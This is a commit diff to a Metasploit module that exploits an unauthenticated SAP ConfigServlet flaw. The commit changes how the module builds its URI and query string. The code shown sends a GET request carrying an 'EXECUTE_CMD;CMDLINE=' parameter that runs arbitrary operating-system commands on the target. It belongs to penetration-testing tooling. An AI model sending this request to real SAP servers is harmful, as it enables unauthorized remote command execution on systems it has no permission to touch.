Skip to content

Commit 85932a2

Browse files
committed
improve URI path and parameter handling
switch from PATH to TARGETURI datastore; use normalize_uri to build uri; use query in send_request_cgi to to prepare query string (instead of vars_get that escapes the necessary semicolons)
1 parent c52588f commit 85932a2

File tree

1 file changed

+6
-3
lines changed

1 file changed

+6
-3
lines changed

modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -28,18 +28,21 @@ def initialize(info = {})
2828
[
2929
Opt::RPORT(50000),
3030
OptString.new('CMD', [ true, 'The command to execute', 'whoami']),
31-
OptString.new('PATH', [ true, 'Path to ConfigServlet ', '/ctc/servlet/ConfigServlet']),
31+
OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet']),
3232
OptBool.new('SSL', [true, 'Use SSL', false])
3333
], self.class)
3434
end
3535

3636
def run
3737
begin
3838
print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
39+
uri = normalize_uri(target_uri.path, 'ConfigServlet')
40+
3941
res = send_request_cgi(
4042
{
41-
'uri' => datastore['PATH'] + '?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(datastore['CMD']),
42-
'method' => 'GET'
43+
'uri' => uri,
44+
'method' => 'GET',
45+
'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text::uri_encode(datastore['CMD'])
4346
})
4447
if !res or res.code != 200
4548
print_error("#{rhost}:#{rport} - Exploit failed.")

0 commit comments

Comments
 (0)